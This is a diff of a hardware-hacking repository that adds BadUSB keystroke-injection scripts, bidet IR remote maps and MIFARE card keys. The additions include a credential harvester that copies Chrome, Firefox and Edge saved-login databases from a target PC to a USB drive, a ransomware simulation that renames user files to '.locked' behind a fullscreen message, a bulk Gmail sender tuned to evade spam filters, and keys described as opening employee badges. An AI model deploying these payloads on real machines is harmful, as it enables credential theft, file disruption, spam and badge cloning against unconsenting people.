Updated Marauder Flasher to v2.7 (Marauder v0.13.10)

Add IR remotes files for Toto Washlet and Bio Bidet BB2000

BadUSB/BadUSB-MarkCyber/Emails/EmailSender.txt

@@ -0,0 +1,42 @@
+REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+REM %%%%%%%%%%%%                    This script was created by github.com/MarkCyber                                  %%%%%%%%%%%%
+REM %%%%%%%%%%%%        This script is intended to send an email via badUSB (into your logged in gmail on chrome)    %%%%%%%%%%%%
+REM %%%%%%%%%%%%   This script will open chrome, send an email, and then close chrome. Must be logged in to email    %%%%%%%%%%%%
+REM %%%%%%%%%%%%     You can use python to replicate this script by changing email addresses & name every time       %%%%%%%%%%%%
+REM %%%%%%%%%%%%      The python script in section 2.1 generates badusb scripts for multiple emails if need be       %%%%%%%%%%%%
+REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+DELAY 1000
+GUI r
+DELAY 500
+STRING chrome
+ENTER
+DELAY 1000
+STRING https://mail.google.com/mail/u/0/#inbox?compose=new
+ENTER
+DELAY 5000
+DELAY 1000
+STRING {EMAIL ADDRESS YOU WANT TO SEND EMAIL TO}
+DELAY 500
+TAB
+TAB
+STRING {YOUR SUBJECT NAME}
+TAB
+STRING Hi {THEIR NAME}
+ENTER
+ENTER
+STRING {CONTENTS OF THE EMAIL}
+ENTER
+ENTER
+STRING {IF YOU WANT A SECOND PARAGRAPH, THIS IS WHAT DOUBLE-ENTER ABOVE DOES}
+ENTER
+ENTER
+STRING Respectfully,
+ENTER
+ENTER
+STRING {YOUR NAME}
+ENTER
+CTRL ENTER
+DELAY 5000
+DELAY 1000
+ALT F4
+REM check out github.com/markcyber for more scripts

BadUSB/BadUSB-MarkCyber/Emails/GenerateEmailScripts.py

@@ -0,0 +1,101 @@
+#######################################################################################################################################
+#######################################################################################################################################
+#################               This script was created by github.com/MarkCyber (w/ assistance of ai)              ####################         
+#################       This is a python script to automatically create BadUSB scripts to auto send emails         ####################
+#################              This takes a excel sheet with the columns named "Names" and "Emails"                ####################
+#################        This script will then make a badusb script using the name + email of each person          ####################
+#################          There are various subject options that will be chosen from, to minimize "spam"          ####################
+#################          Change the signature to your name, and put subject options that fit your email          ####################
+#################         Lastly, of course make sure to change the contents of the email to what you want         ####################
+#######################################################################################################################################
+#######################################################################################################################################
+
+import pandas as pd
+import random
+
+# Load the Excel file, make sure it has the same name (or change the name in this script)
+file_path = 'NameAndEmails.xlsx'
+data_df = pd.read_excel(file_path)
+
+# Your excel should have 2 columns. Names, and Emails. 
+data_cleaned_df = data_df[['Names', 'Emails']].dropna().reset_index(drop=True)
+data_cleaned_df.columns = ['Name', 'Email']
+
+# List of placeholder subject options. Change these to 7 similar subjects that match your email (if you are sending many. You can use the same if not)
+subject_options = [
+    "Placeholder for subject option 1",
+    "Placeholder for subject option 2",
+    "Placeholder for subject option 3",
+    "Placeholder for subject option 4",
+    "Placeholder for subject option 5",
+    "Placeholder for subject option 6",
+    "Placeholder for subject option 7"
+]
+
+# Placeholder for email body template. The name field will be filled from the "names" section in the excel sheet you provided.
+# Just modify the actual email body and sender name to fit your needs
+email_body_template = """
+Hi {name},
+
+Placeholder for email body.
+
+Warm Regards,
+Sender Name
+"""
+
+# Function to generate BadUSB script
+def generate_badusb_script_with_placeholders_single_file(data_df):
+    script_template = [
+        "DELAY 1000",
+        "GUI r",
+        "DELAY 500",
+        "STRING chrome",
+        "ENTER",
+        "DELAY 1000",
+        "STRING https://mail.google.com/mail/u/0/#inbox?compose=new", # In chrome it opens gmail to compose an email. This is why you must be logged in.
+        "ENTER",
+        "DELAY 5000"
+    ]
+    
+    scripts = script_template
+    
+    for index, row in data_df.iterrows():
+        name = row['Name']
+        email = row['Email']
+        subject = random.choice(subject_options)
+        random_delay = random.randint(10000, 25000)
+        
+        email_body_lines = email_body_template.format(name=name).strip().split('\n')
+        email_body_lines = [f"STRING {line.strip()}" for line in email_body_lines if line.strip()]
+
+        email_script = [
+            "DELAY 1000",
+            f"STRING {email}",
+            "DELAY 500",
+            "TAB",
+            "TAB",
+            f"STRING {subject}",
+            "TAB"
+        ] + email_body_lines + [
+            "ENTER",
+            "CONTROL ENTER",
+            "DELAY 5000",
+            f"DELAY {random_delay}", #random delay so emails are not sent at the sames, ideally minimizing the potential to be marked as spam
+            "ALT F4"
+        ]
+
+        scripts += email_script
+    
+    return "\n".join(scripts)
+
+# Generate the BadUSB script with placeholders and proper send command in a single file
+final_script_with_placeholders = generate_badusb_script_with_placeholders_single_file(data_cleaned_df)
+
+# Save the script to a file
+final_script_file_path = 'final_script_with_placeholders.txt' #This would be your badusb script
+with open(final_script_file_path, 'w') as file:
+    file.write(final_script_with_placeholders)
+
+print(f"Script saved to {final_script_file_path}")
+
+#check out github.com/markcyber for more badusb / pen testing / automation tools and scripts

BadUSB/BadUSB-MarkCyber/HackStuff/CredentialHarvester.txt

@@ -0,0 +1,54 @@
+REM ##################################################################################################################
+REM ##############                 This script was created by github.com/markcyber                      ##############
+REM ##############      This script requires a secondary USB named "MYUSB" to save credentials to       ##############
+REM ##############                    The extracted data will require decryption                        ##############
+REM ##################################################################################################################
+REM Open PowerShell
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell
+DELAY 500
+ENTER
+DELAY 1000
+REM Check if the USB drive exists
+STRING $usbDrive = Get-WmiObject Win32_Volume | ? { $_.Label -eq 'MYUSB' } | Select -ExpandProperty DriveLetter;
+STRING if ($usbDrive -ne $null) {
+ENTER
+DELAY 500
+STRING cd $usbDrive;
+ENTER
+DELAY 500
+STRING mkdir BrowserData;
+ENTER
+DELAY 500
+STRING cd BrowserData;
+ENTER
+DELAY 500
+REM Copy Chrome Login Data to USB
+STRING $chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data";
+STRING if (Test-Path $chromePath) { Copy-Item $chromePath "$usbDrive\BrowserData\ChromeLoginData"; }
+ENTER
+DELAY 500
+REM Copy Firefox Login Data to USB
+STRING $firefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles\";
+STRING if (Test-Path $firefoxPath) { Copy-Item $firefoxPath -Recurse "$usbDrive\BrowserData\FirefoxData"; }
+ENTER
+DELAY 500
+REM Copy Edge Login Data to USB
+STRING $edgePath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data";
+STRING if (Test-Path $edgePath) { Copy-Item $edgePath "$usbDrive\BrowserData\EdgeLoginData"; }
+ENTER
+DELAY 500
+STRING }
+ENTER
+DELAY 500
+REM Clear the clipboard to remove any sensitive data (This is not necessary, unless you did something on target PC)
+STRING echo off | clip
+ENTER
+DELAY 500
+REM Close PowerShell
+STRING exit
+ENTER
+DELAY 500
+REM Check out Github.com/MarkCyber for more badusb scripts and other hacky stuff

BadUSB/BadUSB-MarkCyber/HackStuff/VulnerabilityScanner.txt

@@ -0,0 +1,630 @@
+REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%                      This script was created by github.com/MarkCyber                               %%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%         This script acts as a plug-in vulnerability scanner. Only use with permission              %%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%       This will require a secondary USB named as "MYUSB" to save all information onto              %%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%      This will find information on the following and save results in a results.txt file            %%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%     Info on: password policy, audit services, network settings, softwares and versions, CVEs       %%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%    Info on: open ports, firewall status, antivirus status, smbv1 status, missing updates & more    %%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+DELAY 1000
+REM Open Start Menu
+CONTROL ESCAPE
+DELAY 2000
+STRING powershell
+REM Navigate to the context menu to run PowerShell as an administrator
+DELAY 500
+RIGHTARROW
+DELAY 100
+DOWNARROW
+DELAY 100
+ENTER
+DELAY 3000
+ALT Y
+DELAY 5000
+REM Set PowerShell Execution Policy to Bypass
+DELAY 1000
+STRING set-executionpolicy bypass -scope process -force
+DELAY 200
+ENTER
+DELAY 200
+REM Create the PowerShell script in memory and execute it
+DELAY 200
+STRING $usbName = "MYUSB"
+DELAY 200
+ENTER
+DELAY 200
+STRING $usbDrive = Get-WmiObject Win32_Volume | Where-Object { $_.Label -eq $usbName } | Select-Object -ExpandProperty DriveLetter
+DELAY 200
+ENTER
+DELAY 200
+STRING if ($usbDrive) {
+DELAY 200
+ENTER
+DELAY 200
+STRING     $owner = (Get-WmiObject Win32_ComputerSystem).UserName
+DELAY 200
+ENTER
+DELAY 200
+STRING     $directoryPath = Join-Path -Path $usbDrive -ChildPath $owner
+DELAY 200
+ENTER
+DELAY 200
+STRING     New-Item -ItemType Directory -Path $directoryPath
+DELAY 200
+ENTER
+DELAY 200
+STRING     $resultsFilePath = Join-Path -Path $directoryPath -ChildPath "results.txt"
+DELAY 200
+ENTER
+DELAY 200
+STRING     "" > $resultsFilePath
+DELAY 200
+ENTER
+DELAY 200
+STRING     function check-passwordpolicy {
+DELAY 200
+ENTER
+DELAY 200
+STRING         try {
+DELAY 200
+ENTER
+DELAY 200
+STRING             net accounts
+DELAY 200
+ENTER
+DELAY 200
+STRING         } catch {
+DELAY 200
+ENTER
+DELAY 200
+STRING             write-output "Error checking password policy: $_"
+DELAY 200
+ENTER
+DELAY 200
+STRING         }
+DELAY 200
+ENTER
+DELAY 200
+STRING     }
+DELAY 200
+ENTER
+DELAY 200
+STRING     function audit-services {
+DELAY 200
+ENTER
+DELAY 200
+STRING         try {
+DELAY 200
+ENTER
+DELAY 200
+STRING             get-service | select-object name, displayname, status, starttype
+DELAY 200
+ENTER
+DELAY 200
+STRING         } catch {
+DELAY 200
+ENTER
+DELAY 200
+STRING             write-output "Error auditing services: $_"
+DELAY 200
+ENTER
+DELAY 200
+STRING         }
+DELAY 200
+ENTER
+DELAY 200
+STRING     }
+DELAY 200
+ENTER
+DELAY 200
+STRING     function check-networksettings {
+DELAY 200
+ENTER
+DELAY 200
+STRING         try {
+DELAY 200
+ENTER
+DELAY 200
+STRING             get-netipconfiguration
+DELAY 200
+ENTER
+DELAY 200
+STRING         } catch {
+DELAY 200
+ENTER
+DELAY 200
+STRING             write-output "Error checking network settings: $_"
+DELAY 200
+ENTER
+DELAY 200
+STRING         }
+DELAY 200
+ENTER
+DELAY 200
+STRING     }
+DELAY 200
+ENTER
+DELAY 200
+STRING     function check-softwarevulnerabilities {
+DELAY 200
+ENTER
+DELAY 200
+STRING         try {
+DELAY 200
+ENTER
+DELAY 200
+STRING             get-itemproperty hklm:\software\wow6432node\microsoft\windows\currentversion\uninstall\* | select-object displayname, displayversion, publisher
+DELAY 200
+ENTER
+DELAY 200
+STRING         } catch {
+DELAY 200
+ENTER
+DELAY 200
+STRING             write-output "Error checking software vulnerabilities: $_"
+DELAY 200
+ENTER
+DELAY 200
+STRING         }
+DELAY 200
+ENTER
+DELAY 200
+STRING     }
+DELAY 200
+ENTER
+DELAY 200
+STRING     function check-cve {
+DELAY 200
+ENTER
+DELAY 200
+STRING         param (
+DELAY 200
+ENTER
+DELAY 200
+STRING             [string]$productname,
+DELAY 200
+ENTER
+DELAY 200
+STRING             [string]$version
+DELAY 200
+ENTER
+DELAY 200
+STRING         )
+DELAY 200
+ENTER
+DELAY 200
+STRING         $initialDelay = 2
+DELAY 200
+ENTER
+DELAY 200
+STRING         try {
+DELAY 200
+ENTER
+DELAY 200
+STRING             $uri = "https://services.nvd.nist.gov/rest/json/cves/1.0?keyword=$productname+$version"
+DELAY 200
+ENTER
+DELAY 200
+STRING             start-sleep -seconds $initialDelay
+DELAY 200
+ENTER
+DELAY 200
+STRING             $response = invoke-restmethod -uri $uri -method get
+DELAY 200
+ENTER
+DELAY 200
+STRING             if ($response.totalresults -gt 0) {
+DELAY 200
+ENTER
+DELAY 200
+STRING                 foreach ($cve in $response.result.cve_items) {
+DELAY 200
+ENTER
+DELAY 200
+STRING                     "$($cve.cve.cve_data_meta.id) - $($cve.cve.description.description_data[0].value)"
+DELAY 200
+ENTER
+DELAY 200
+STRING                 }
+DELAY 200
+ENTER
+DELAY 200
+STRING             } else {
+DELAY 200
+ENTER
+DELAY 200
+STRING                 "no cves found for $productname $version"
+DELAY 200
+ENTER
+DELAY 200
+STRING             }
+DELAY 200
+ENTER
+DELAY 200
+STRING         } catch {
+DELAY 200
+ENTER
+DELAY 200
+STRING             write-output "Error checking CVEs: $_"
+DELAY 200
+ENTER
+DELAY 200
+STRING             if ($_.Exception -match '403') {
+DELAY 200
+ENTER
+DELAY 200
+STRING                 write-output "403 Forbidden error encountered. Retrying in 60 seconds..."
+DELAY 200
+ENTER
+DELAY 200
+STRING                 start-sleep -seconds 60
+DELAY 200
+ENTER
+DELAY 200
+STRING                 $retryResponse = invoke-restmethod -uri $uri -method get
+DELAY 200
+ENTER
+DELAY 200
+STRING                 if ($retryResponse.totalresults -gt 0) {
+DELAY 200
+ENTER
+DELAY 200
+STRING                     foreach ($cve in $retryResponse.result.cve_items) {
+DELAY 200
+ENTER
+DELAY 200
+STRING                         "$($cve.cve.cve_data_meta.id) - $($cve.cve.description.description_data[0].value)"
+DELAY 200
+ENTER
+DELAY 200
+STRING                     }
+DELAY 200
+ENTER
+DELAY 200
+STRING                 } else {
+DELAY 200
+ENTER
+DELAY 200
+STRING                     "no cves found for $productname $version"
+DELAY 200
+ENTER
+DELAY 200
+STRING                 }
+DELAY 200
+ENTER
+DELAY 200
+STRING             }
+DELAY 200
+ENTER
+DELAY 200
+STRING         }
+DELAY 200
+ENTER
+DELAY 200
+STRING     }
+DELAY 200
+ENTER
+DELAY 200
+STRING     function analyze-logs {
+DELAY 200
+ENTER
+DELAY 200
+STRING         try {
+DELAY 200
+ENTER
+DELAY 200
+STRING             get-eventlog -logname system -newest 100
+DELAY 200
+ENTER
+DELAY 200
+STRING         } catch {
+DELAY 200
+ENTER
+DELAY 200
+STRING             write-output "Error analyzing logs: $_"
+DELAY 200
+ENTER
+DELAY 200
+STRING         }
+DELAY 200
+ENTER
+DELAY 200
+STRING     }
+DELAY 200
+ENTER
+DELAY 200
+STRING     function check-openports {
+DELAY 200
+ENTER
+DELAY 200
+STRING         try {
+DELAY 200
+ENTER
+DELAY 200
+STRING             netstat -an
+DELAY 200
+ENTER
+DELAY 200
+STRING         } catch {
+DELAY 200
+ENTER
+DELAY 200
+STRING             write-output "Error checking open ports: $_"
+DELAY 200
+ENTER
+DELAY 200
+STRING         }
+DELAY 200
+ENTER
+DELAY 200
+STRING     }
+DELAY 200
+ENTER
+DELAY 200
+STRING     function check-missingupdates {
+DELAY 200
+ENTER
+DELAY 200
+STRING         try {
+DELAY 200
+ENTER
+DELAY 200
+STRING             write-output "Checking Windows Update logs..."
+DELAY 200
+ENTER
+DELAY 200
+STRING             $updateLogPath = Join-Path -Path $directoryPath -ChildPath "WindowsUpdate.log"
+DELAY 200
+ENTER
+DELAY 200
+STRING             Get-WindowsUpdateLog -LogPath $updateLogPath
+DELAY 200
+ENTER
+DELAY 200
+STRING             write-output "WindowsUpdate.log written to $updateLogPath"
+DELAY 200
+ENTER
+DELAY 200
+STRING             Remove-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Temp\WindowsUpdateLog\*" -Recurse -Force
+DELAY 200
+ENTER
+DELAY 200
+STRING         } catch {
+DELAY 200
+ENTER
+DELAY 200
+STRING             write-output "Error getting Windows Update log: $_"
+DELAY 200
+ENTER
+DELAY 200
+STRING         }
+DELAY 200
+ENTER
+DELAY 200
+STRING     }
+DELAY 200
+ENTER
+DELAY 200
+STRING     function check-firewallstatus {
+DELAY 200
+ENTER
+DELAY 200
+STRING         try {
+DELAY 200
+ENTER
+DELAY 200
+STRING             netsh advfirewall show allprofiles
+DELAY 200
+ENTER
+DELAY 200
+STRING         } catch {
+DELAY 200
+ENTER
+DELAY 200
+STRING             write-output "Error checking firewall status: $_"
+DELAY 200
+ENTER
+DELAY 200
+STRING         }
+DELAY 200
+ENTER
+DELAY 200
+STRING     }
+DELAY 200
+ENTER
+DELAY 200
+STRING     function check-smbv1status {
+DELAY 200
+ENTER
+DELAY 200
+STRING         try {
+DELAY 200
+ENTER
+DELAY 200
+STRING             get-windowsoptionalfeature -online -featurename smb1protocol
+DELAY 200
+ENTER
+DELAY 200
+STRING         } catch {
+DELAY 200
+ENTER
+DELAY 200
+STRING             write-output "Error checking SMBv1 status: $_"
+DELAY 200
+ENTER
+DELAY 200
+STRING         }
+DELAY 200
+ENTER
+DELAY 200
+STRING     }
+DELAY 200
+ENTER
+DELAY 200
+STRING     function check-antivirusstatus {
+DELAY 200
+ENTER
+DELAY 200
+STRING         try {
+DELAY 200
+ENTER
+DELAY 200
+STRING             get-mpcomputerstatus
+DELAY 200
+ENTER
+DELAY 200
+STRING         } catch {
+DELAY 200
+ENTER
+DELAY 200
+STRING             write-output "Error checking antivirus status: $_"
+DELAY 200
+ENTER
+DELAY 200
+STRING         }
+DELAY 200
+ENTER
+DELAY 200
+STRING     }
+DELAY 200
+ENTER
+DELAY 200
+STRING     check-passwordpolicy >> $resultsFilePath
+DELAY 200
+ENTER
+DELAY 200
+STRING     audit-services >> $resultsFilePath
+DELAY 200
+ENTER
+DELAY 200
+STRING     check-networksettings >> $resultsFilePath
+DELAY 200
+ENTER
+DELAY 200
+STRING     check-softwarevulnerabilities >> $resultsFilePath
+DELAY 200
+ENTER
+DELAY 200
+STRING     analyze-logs >> $resultsFilePath
+DELAY 200
+ENTER
+DELAY 200
+STRING     check-openports >> $resultsFilePath
+DELAY 200
+ENTER
+DELAY 200
+STRING     check-missingupdates >> $resultsFilePath
+DELAY 200
+ENTER
+DELAY 200
+STRING     check-firewallstatus >> $resultsFilePath
+DELAY 200
+ENTER
+DELAY 200
+STRING     check-smbv1status >> $resultsFilePath
+DELAY 200
+ENTER
+DELAY 200
+STRING     check-antivirusstatus >> $resultsFilePath
+DELAY 200
+ENTER
+DELAY 200
+REM Dynamically identify critical software from running processes and scheduled tasks
+STRING     $runningSoftware = Get-Process | Select-Object Name | Sort-Object Name -Unique
+DELAY 200
+ENTER
+DELAY 200
+STRING     $scheduledTasks = schtasks /query /fo CSV | ConvertFrom-Csv | Select-Object TaskName, TaskToRun | Sort-Object TaskToRun -Unique
+DELAY 200
+ENTER
+DELAY 200
+REM Combine running software and scheduled tasks
+STRING     $softwareList = @()
+DELAY 200
+ENTER
+DELAY 200
+STRING     foreach ($process in $runningSoftware) {
+DELAY 200
+ENTER
+DELAY 200
+STRING         $softwareList += $process.Name
+DELAY 200
+ENTER
+DELAY 200
+STRING     }
+DELAY 200
+ENTER
+DELAY 200
+STRING     foreach ($task in $scheduledTasks) {
+DELAY 200
+ENTER
+DELAY 200
+STRING         $softwareList += [System.IO.Path]::GetFileNameWithoutExtension($task.TaskToRun)
+DELAY 200
+ENTER
+DELAY 200
+STRING     }
+DELAY 200
+ENTER
+DELAY 200
+REM Remove duplicates and empty entries
+STRING     $softwareList = $softwareList | Sort-Object -Unique | Where-Object { $_ -ne "" }
+DELAY 200
+ENTER
+DELAY 200
+REM Check CVEs for identified software
+STRING     foreach ($software in $softwareList) {
+DELAY 200
+ENTER
+DELAY 200
+STRING         $version = (Get-ItemProperty hklm:\software\wow6432node\microsoft\windows\currentversion\uninstall\* | Where-Object { $_.DisplayName -eq $software }).DisplayVersion
+DELAY 200
+ENTER
+DELAY 200
+STRING         if ($version) {
+DELAY 200
+ENTER
+DELAY 200
+STRING             check-cve -productname $software -version $version >> $resultsFilePath
+DELAY 200
+ENTER
+DELAY 200
+STRING             $initialDelay += (Get-Random -Minimum 5 -Maximum 10)
+DELAY 200
+ENTER
+DELAY 200
+STRING             start-sleep -seconds $initialDelay
+DELAY 200
+ENTER
+DELAY 200
+STRING         }
+DELAY 200
+ENTER
+DELAY 200
+STRING     }
+DELAY 200
+ENTER
+DELAY 200
+STRING     write-output "Results saved to USB drive."
+DELAY 200
+ENTER
+DELAY 200
+STRING } else {
+DELAY 200
+ENTER
+DELAY 200
+STRING     write-output "Error: USB drive MYUSB not found."
+DELAY 200
+ENTER
+DELAY 200
+STRING }
+DELAY 200
+ENTER
+DELAY 200
+STRING invoke-command -scriptblock $script
+DELAY 200
+ENTER
+DELAY 20000
+REM check out github.com/markcyber for more badusb/pen testing scripts and tools

BadUSB/BadUSB-MarkCyber/RansomwareSimulation/RansomwareSimulation1.txt

@@ -0,0 +1,91 @@
+REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%                      This script was created by github.com/MarkCyber                               %%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%    This script simulates a ransomware attack by changing file extensions and displays a message    %%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%       Renaming file extensions renders each file unusable until the proper extension is added      %%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%        Run (1.1)RansomwareSimulationCleanup to revert the changes and renaming of extensions       %%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+DELAY 1000
+GUI r
+DELAY 1000
+REM opens powershell (this is for windows machines)
+STRING powershell
+ENTER
+DELAY 3000
+REM Define the locations using correct SpecialFolder enumerations
+STRING $folders = @(
+DELAY 500
+ENTER
+DELAY 500
+STRING [System.Environment+SpecialFolder]::Desktop,
+DELAY 500
+ENTER
+DELAY 500
+STRING [System.Environment+SpecialFolder]::MyPictures,
+DELAY 500
+ENTER
+DELAY 500
+STRING [System.Environment+SpecialFolder]::MyMusic,
+DELAY 500
+ENTER
+DELAY 500
+STRING [System.Environment+SpecialFolder]::Downloads
+DELAY 500
+ENTER
+DELAY 500
+STRING )
+DELAY 500
+ENTER
+DELAY 500
+REM Iterate over each location
+STRING foreach ($folder in $folders) {
+DELAY 500
+ENTER
+DELAY 500
+STRING $path = [Environment]::GetFolderPath($folder)
+DELAY 500
+ENTER
+DELAY 500
+REM Get all files in the path and rename them
+STRING Get-ChildItem -Path $path -File | ForEach-Object { Rename-Item -Path $_.FullName -NewName ($_.Name + '.locked') }
+DELAY 500
+ENTER
+DELAY 500
+STRING }
+DELAY 500
+ENTER
+DELAY 2000
+REM Display ransomware message
+STRING Add-Type -AssemblyName PresentationFramework
+DELAY 500
+ENTER
+DELAY 500
+STRING $Window = New-Object System.Windows.Window
+DELAY 500
+ENTER
+DELAY 500
+STRING $Window.WindowStartupLocation = 'CenterScreen'
+DELAY 500
+ENTER
+DELAY 500
+STRING $Window.WindowState = 'Maximized'
+DELAY 500
+ENTER
+DELAY 500
+STRING $Window.Topmost = $true
+DELAY 500
+ENTER
+DELAY 500
+STRING $Window.Content = 'Your files have been encrypted. This is a simulation. Please contact your IT support team.'
+DELAY 500
+ENTER
+DELAY 500
+STRING $Window.ShowDialog()
+DELAY 500
+ENTER
+DELAY 2000
+STRING exit
+DELAY 500
+ENTER
+REM check out my github at github.com/markcyber for more badusb & hacking type tools

BadUSB/BadUSB-MarkCyber/RansomwareSimulation/RansomwareSimulation2-cleanup.txt

@@ -0,0 +1,62 @@
+REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%                           This script was created by github.com/MarkCyber                          %%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%                        This is a follow-up script to the RansomwareSimulation                      %%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%       Running this renames all extensions back to their original, full path- making them usable    %%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%                              This can be ran multiple times if necessary                           %%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+DELAY 1000
+GUI r
+DELAY 2000
+STRING powershell
+ENTER
+REM increased delays to make sure each command can go through even on slower computers
+DELAY 6000
+REM Define the locations using correct SpecialFolder enumerations
+STRING $folders = @(
+DELAY 1000
+ENTER
+DELAY 1000
+STRING [System.Environment+SpecialFolder]::Desktop,
+DELAY 1000
+ENTER
+DELAY 2000
+STRING [System.Environment+SpecialFolder]::MyPictures,
+DELAY 1000
+ENTER
+DELAY 2000
+STRING [System.Environment+SpecialFolder]::MyMusic,
+DELAY 1000
+ENTER
+DELAY 2000
+STRING [System.Environment+SpecialFolder]::Downloads
+DELAY 1000
+ENTER
+DELAY 2000
+STRING )
+DELAY 1000
+ENTER
+DELAY 3000
+REM Iterate over each location
+STRING foreach ($folder in $folders) {
+DELAY 1000
+ENTER
+DELAY 1000
+STRING $path = [Environment]::GetFolderPath($folder)
+DELAY 1000
+ENTER
+DELAY 4000
+REM Get all .locked files in the path and rename them back
+STRING Get-ChildItem -Path $path -File | Where-Object { $_.Name.EndsWith('.locked') } | ForEach-Object { Rename-Item -Path $_.FullName -NewName ($_.Name -replace '\.locked$', '') }
+DELAY 2000
+ENTER
+DELAY 5000
+STRING }
+DELAY 1000
+ENTER
+DELAY 4000
+STRING exit
+DELAY 1000
+ENTER
+REM Check out github.com/MarkCyber for more badusb scripts, malware and pen testing stuff

Infrared/IRDB

@@ -1 +1 @@
-Subproject commit 480b01fd4bd2dc7f571ea5694db78663d61fdc18
+Subproject commit 868a60bd2915f9f11fb7d6b19275f98753ca0d15

Infrared/ir_remote/Example_Maps/Toto_Washlet.txt

@@ -0,0 +1,12 @@
+REMOTE: /ext/infrared/Toto.ir
+UP: Stop
+DOWN: Rear
+LEFT: Front
+RIGHT: Pos_up
+OK: Pos_down
+BACK: Pressure_up
+UPHOLD: Pressure_down
+DOWNHOLD:
+LEFTHOLD:
+RIGHTHOLD:
+OKHOLD:

Infrared/ir_remote/Example_Maps/biobiddet_bb2000.txt

@@ -0,0 +1,12 @@
+REMOTE: /ext/infrared/IRDB/Bidet/BioBidet/BioBidet_BB-2000.ir
+UP: STOP
+DOWN: Posterior Wash
+LEFT: F Wash
+RIGHT: Dry wash area
+OK: Vortex wash
+BACK: Retract_Nozzle shower
+UPHOLD: Oscillate during posterior wash
+DOWNHOLD: Oscillate during fem wash
+LEFTHOLD: Oscillate during vortex
+RIGHTHOLD: SAVE
+OKHOLD: Seat Temp

NFC/mf_classic_dict/mf_classic_dict_user.nfc

@@ -1,5 +1,3 @@
-# Last update Dec 22, 2022
-# -----------------------
 # MIFARE DEFAULT KEYS
 #   -- ICEMAN FORK VERSION --
 #   -- CONTRIBUTE TO THIS LIST, SHARING IS CARING --
@@ -2358,3 +2356,29 @@ EDA4BF3E7B04
 #
 # Lime Fitness
 113355779933
+#
+# Some employee badges and other interesting things
+4D4946415245
+2B29232D3624
+2D2F182C4024
+BE3C1BF60B37
+D156F66D38EC
+4A1094F378D8
+CB5ED0E57B08
+AE381EA0811B
+40454EE64229
+66A4932816D3
